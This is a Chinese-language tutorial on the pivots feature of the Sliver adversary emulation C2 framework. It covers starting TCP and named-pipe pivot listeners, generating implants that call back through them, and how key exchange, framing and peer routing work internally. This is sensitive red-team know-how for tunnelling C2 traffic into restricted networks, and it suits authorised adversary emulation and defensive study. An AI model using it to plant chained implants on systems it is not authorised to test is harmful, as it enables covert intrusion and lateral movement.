- 网络安全
【免费下载链接】sliver
Adversary Emulation Framework
本指南围绕 Sliver 的 Pivots 功能展开,讲解如何基于已有会话创建 pivot listener,再生成通过该 listener 回连的新植入体,从而把 C2 流量链式代理进无法直连互联网的受限子网。读完本文,你将掌握pivots命令族(tcp、named-pipe、stop、details、graph)的完整用法、generate的--tcp-pivot与--named-pipe参数细节,以及 pivot 认证密钥交换、帧封装与路由转发的底层实现原理。
什么是 Pivot:专用于 C2 流量中转,而非端口转发
Pivots 允许你创建一条条"植入体连接链"(chain of implant connections)。典型场景是:某个高度受限的子网无法直接路由流量到互联网,你可以先在这个子网部署一个植入体,让它通过另一个位于受限程度较低子网中的植入体来出网(egress)。Pivot 链可以任意嵌套,例如:pivot A 可以经由 pivot B 连接到第三个出口植入体。
使用 Pivots 前必须明确三点边界(这也是官方文档开篇强调的重点):
- Pivots 专门用于中转 C2 流量,不要与
portfwd(端口转发)混淆——portfwd用于把通用 TCP 连接隧道进目标环境。 - Pivots 只能在 "session mode"(会话模式)下使用,目前不支持 beacon 模式(文档注明后续可能增加 beacon 支持)。
- Pivot 之间执行的是经认证的对等密钥交换(authenticated peer-to-peer cryptographic key exchange),与底层 pivot 协议无关。因此 pivot 只能与由同一个服务器生成的植入体互相通信,该限制无法关闭。
在 Sliver 中,pivot 的使用方式是:先利用一个已有 session 创建 "pivot listener",然后生成新的 pivot 植入体去回连这个 listener——与你使用其他 C2 协议/端点(mtls、http、dns 等)的方式完全一致。
Pivot 工作流程总览
一次完整的 pivot 部署链路可以概括为四个阶段:
- 建立锚点会话:先用常规 C2 协议(如 mtls)取得一个能出网的目标会话。
- 创建 pivot listener:在锚点会话上启动
pivots tcp或pivots named-pipe监听器。 - 生成 pivot 植入体:使用
generate --tcp-pivot或generate --named-pipe生成并部署新的植入体,其 C2 配置指向该 listener。 - 验证链路:通过
sessions、pivots、pivots details、pivots graph观察新会话如何经由锚点会话接入,形成链式拓扑。
从客户端命令实现看,这一系列操作全部封装在 client/command/pivots/commands.go 注册的pivots命令树中,包括:
| 命令 | 用途 | 关键参数 |
|---|---|---|
pivots | 列出当前活跃会话上的所有 pivot listener | --timeout/-t(gRPC 超时,默认flags.DefaultTimeout秒) |
pivots tcp | 启动 TCP pivot listener | --bind/-b(绑定接口)、--lport/-l(监听端口,默认generate.DefaultTCPPivotPort,值为 9898) |
pivots named-pipe | 启动命名管道 pivot listener(仅 Windows) | --bind/-b(管道名)、--allow-all/-a(允许所有用户连接) |
pivots stop | 停止一个 pivot listener | --id/-i(listener ID,支持 Tab 补全,留空则弹出交互选择) |
pivots details | 查看某个 listener 的详细信息和已连接 peer | --id/-i |
pivots graph | 输出服务器视角的 pivot 拓扑图(JSON) | 无 |
命令的 Short 描述(如 "List pivots for active session"、"Start a named pipe pivot listener")同样定义在该文件中。注意pivots相关的子命令都作用在当前活跃会话上(源码中通过con.ActiveTarget.GetSessionInteractive()获取目标会话),因此操作前需要用use <session-id>切换目标。
TCP Pivots:全平台可用的纯 Go 实现
TCP pivot 用纯 Go 实现,支持所有平台(Windows / Linux / macOS),是最通用、最常用的一类 pivot。
在锚点会话上启动 TCP listener
在已经取得会话并切换目标之后,执行:
[server] sliver (PRIOR_MANTEL) > pivots tcp [*] Started tcp pivot listener :9898 with id 1 [server] sliver (PRIOR_MANTEL) > pivots ID Protocol Bind Address Number Of Pivots ==== ========== ============== ================== 1 TCP :9898 0这里的pivots tcp不带任何参数时,绑定地址为:9898,即监听所有接口的 9898 端口——该默认端口定义在 client/command/generate/generate.go 的DefaultTCPPivotPort = 9898。若需要指定监听接口或端口,用--bind/-b和--lport/-l。客户端在发起请求时会把两者拼成fmt.Sprintf("%s:%d", bind, lport)的BindAddress交给服务器,见 client/command/pivots/start.go 中的StartTCPListenerCmd。
执行成功后,服务器会打印Started tcp pivot listener <地址> with id <id>,pivots表格则展示 ID、协议、绑定地址以及当前挂载的 pivot 数量。
生成并部署 TCP pivot 植入体
随后用generate生成一个以该 listener 作为 C2 端点的植入体:
generate --tcp-pivot 192.168.1.1:9898其中192.168.1.1是启动 listener 的服务器本机 IP(即锚点会话所在机器的出口 IP),9898是对应端口。--tcp-pivot参数在 client/command/generate/commands.go 中注册,短标志为-i;同文件还提供了--include-tcp-pivot用于强制在生成物中包含 TCP pivot 传输支持。generate命令至少需要指定一种 C2 端点(--mtls、--wg、--http、--dns、--named-pipe、--tcp-pivot之一),否则会报错。
验证链路
新植入体运行后回连 pivot listener,便会在会话列表中看到它的 Transport 字段为pivot,Remote Address 呈现链式路径(详见下文 Named Pipe 示例的sessions输出)。多个 TCP pivot 可以逐级叠加,形成多跳链。
Named Pipe Pivots(SMB):仅 Windows 的管道隧道
命名管道 pivot只支持 Windows。它利用 Windows 命名管道(SMB 命名空间)承载 C2 流量,非常适合在同一主机或同一内网内横向移动时复用 SMB 通道。
在 Windows 会话上启动 named pipe listener
首先use切换到目标 Windows 会话:
[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST [server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30 [*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30) [server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar [*] Started named pipe pivot listener \\.\pipe\foobar with id 1关键点:
--bind foobar只需指定管道名,监听器会自动在本地机器上创建\\.\pipe\foobar,无需写完整路径。- 默认情况下,远程客户端始终被允许连接管道,但管道的默认 ACL 只允许当前用户/用户组访问。
- 如果需要放开限制、允许所有用户/组连接,使用
--allow-all/-a标志。官方文档特别提示:在某些环境中,启动 listener 时可能需要加--allow-all,否则后续植入体可能因 ACL 原因无法连接。
StartNamedPipeListenerCmd(见 client/command/pivots/start.go)会把allow-all作为Options随请求下发,植入体侧据此设置管道安全描述符。管道名称--bind的默认值为空字符串,因此通常必须显式指定。
生成 named pipe pivot 植入体
generate --named-pipe 192.168.1.1/pipe/foobar地址语法为<host>/pipe/<pipe name>,即 Windows 命名管道的标准写法:
<host>是 listener 所在主机的 IP(示例中为192.168.1.1);.等价于127.0.0.1(本机回环);/pipe/是固定段,<pipe name>与启动 listener 时的--bind保持一致。
--named-pipe的短标志为-p(见 client/command/generate/commands.go),同时存在--include-named-pipe强制包含传输支持。要注意生成物(implant 二进制)必须运行在 Windows 上,因为命名管道传输依赖 Windows API。
观察链式会话
新植入体上线后,sessions输出会清楚展示 pivot 链路:
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST [server] sliver (WARM_DRIVEWAY) > sessions ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health ========== =============== =========== ====================================== ================= =============================== ================== =============================== ========= 13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE] a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]注意ROUND_ATELIER的 Transport 为pivot,Remote Address 显示为192.168.1.178:59290->WARM_DRIVEWAY->,箭头表示它经由WARM_DRIVEWAY这条链路接入服务器;而WARM_DRIVEWAY本身是mtls直连。这就是"链式代理"在会话列表中的直观体现。
管理 pivot:列表、详情、停止与拓扑图
除了启动监听器,pivots命令族还提供四个管理入口(均实现在 client/command/pivots 目录下):
pivots(列表):调用PivotSessionListenersRPC 拉取当前会话的所有 listener,并以表格输出 ID、Protocol、Bind Address、Number of Pivots;没有 listener 时提示No pivot listeners running on this session。实现见 client/command/pivots/pivots.go。pivots details --id <id>:展示单个 listener 的详细信息(ID、协议、绑定地址、pivot 数量),并以子表格列出每个已连接 peer 的 PeerID 与 Remote Address。若不传--id,会弹出交互式选择器(由SelectPivotListener实现,见 client/command/pivots/helpers.go)。实现见 client/command/pivots/details.go。pivots stop --id <id>:按 ID 停止指定 listener(-i支持 Tab 补全,补全列表由PivotIDCompleter动态拉取,未指定 ID 时同样进入交互选择)。实现见 client/command/pivots/stop.go。pivots graph:调用PivotGraphRPC(服务端实现见 server/rpc/rpc-pivots.go,数据来自core.PivotGraph()),将服务器视角的 pivot 拓扑树以 JSON 缩进格式打印,适合脚本化处理或人工核对链路。实现见 client/command/pivots/graph.go。
源码级原理:认证握手、帧封装与链路路由
Pivot 的核心实现位于植入体侧 implant/sliver/pivots/pivots.go,下面结合源码说明三个关键机制。
1. 经认证的对等密钥交换
无论 TCP 还是 Named Pipe,每条 peer 连接建立后都会先执行peerKeyExchange:
- 下游 peer 先发送
PivotHello(含公钥与公钥签名); - 监听方用
cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)校验签名——未通过校验则直接返回ErrFailedKeyExchange并断开连接,这就是"只能与同一服务器生成的植入体通信"这一限制的落地点; - 校验通过后,监听方生成随机对称会话密钥
RandomSymmetricKey(),用AgeEncryptToPeer加密后连同自己的公钥回包(PivotHello),双方即获得仅本次连接有效的CipherContext。
此后所有 Envelope 读写都经cipherCtx.Encrypt/DecryptWithoutSignatureCheck加解密(见writeEnvelope/readEnvelope),实现文档所述的 "authenticated peer-to-peer cryptographic key exchange"。
2. 帧协议与安全上限
Pivot 消息采用"4 字节小端长度前缀 + 载荷"的帧格式(lengthOf/read实现)。源码中定义了MaxFrameLength = 512 * 1024 * 1024(512 MiB)作为单帧上限:一旦读取到的长度前缀超过该值,立即返回ErrFrameTooLarge。这是为了防止被污染/失步的长度前缀(理论最大约 4 GiB)触发致命的大内存分配(对应历史漏洞 BishopFox/sliver#1452)。读写分别有 10 秒的 deadline(pivotReadDeadline/pivotWriteDeadline)。
3. 链路路由:PeerID 与 PivotPeerEnvelope
每个植入体进程启动时都会生成一个随机的MyPeerID(generatePeerID,8 字节随机数,极小概率回退到纳秒时间戳)。C2 流量在链路中流转时使用PivotPeerEnvelope,其中携带经过的所有 peer 列表;每个节点调用findNextPeerID找到自己在 peer 列表中的位置,把包转发给前一个 peer,SendToPeer则遍历本机所有 listener 的PivotConnections找到目标 peer 并投递到其Downstream通道。peer 断开时会向上游发送MsgPivotPeerFailure(PeerFailureType_DISCONNECT),供链路及时感知故障。peer 间还通过MsgPivotPeerPing保活。
TCP 与 Named Pipe 的具体监听/连接实现分别在 implant/sliver/pivots/tcp.go、implant/sliver/pivots/named-pipe.go 与 implant/sliver/pivots/named-pipe_windows.go(后者提供 Windows 特有的管道 ACL 处理,对应--allow-all)。
注意事项与常见坑
- 不要混淆 pivot 与 portfwd:pivot 只承载 C2 控制/回连流量;如需把任意 TCP 服务隧道进目标环境,应使用
portfwd(及其反向变体rportfwd)等独立机制。 - 仅 session 模式可用:pivot listener 只能在交互式会话上启动,beacon 会话不支持(源码中
PivotStartListener依赖GetSessionInteractive(),beacon 目标会直接返回)。 - 同服务器约束不可绕过:pivot 通信依赖服务器签名的密钥对,跨服务器生成的植入体无法互连,这是设计上的安全边界,无法通过配置关闭。
- Named Pipe 的 ACL:默认仅当前用户/组可访问管道;跨用户部署时务必使用
--allow-all,并确认目标环境允许管道访问。 - 监听端口与地址:TCP pivot 默认端口为 9898(
DefaultTCPPivotPort),生成植入体时填写的地址必须是锚点会话所在机器可达的 IP,而不是服务器控制端的地址。 - 链路方向:
sessions列表中 Transport 为pivot的会话其 Remote Address 会以A->B->的形式逐跳展开,排查链路问题时可以结合pivots details与pivots graph快速定位断点。
小结
Pivots 是 Sliver 在受限网络中横向扩展控制面的核心机制:先用常规协议建立锚点会话,再以pivots tcp/pivots named-pipe开启监听,最后用generate --tcp-pivot/--named-pipe产出回连植入体,形成可任意嵌套的 C2 链路。理解其"会话模式限定、同服务器密钥互认、PeerID 逐跳路由"这三个设计要点,能帮助你在实际对抗演习中正确规划链路拓扑,并快速排查连接失败问题。
- 网络安全
【免费下载链接】sliver
Adversary Emulation Framework
相关推荐
komorebi 事件订阅(Named Pipe)实战指南:用 subscribe-pipe 构建窗口管理器事件流
komorebi 事件订阅(Named Pipe)实战指南:用 subscribe pipe 构建窗口管理器事件流 导读 subscribe pipe 是 ko
桌面应用komorebi事件订阅集成完全指南:Named Pipe、Unix Socket与TCP三种接入方式
komorebi事件订阅集成完全指南:Named Pipe、Unix Socket与TCP三种接入方式 komorebi 是一款专为 Windows 打造的平铺
桌面应用Sliver HTTP/HTTPS C2 实战指南:植入体生成、监听器部署与流量伪装原理
Sliver HTTP/HTTPS C2 实战指南:植入体生成、监听器部署与流量伪装原理 本指南以 Sliver 的 HTTP/HTTPS C2 通道为主题,完
网络安全
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考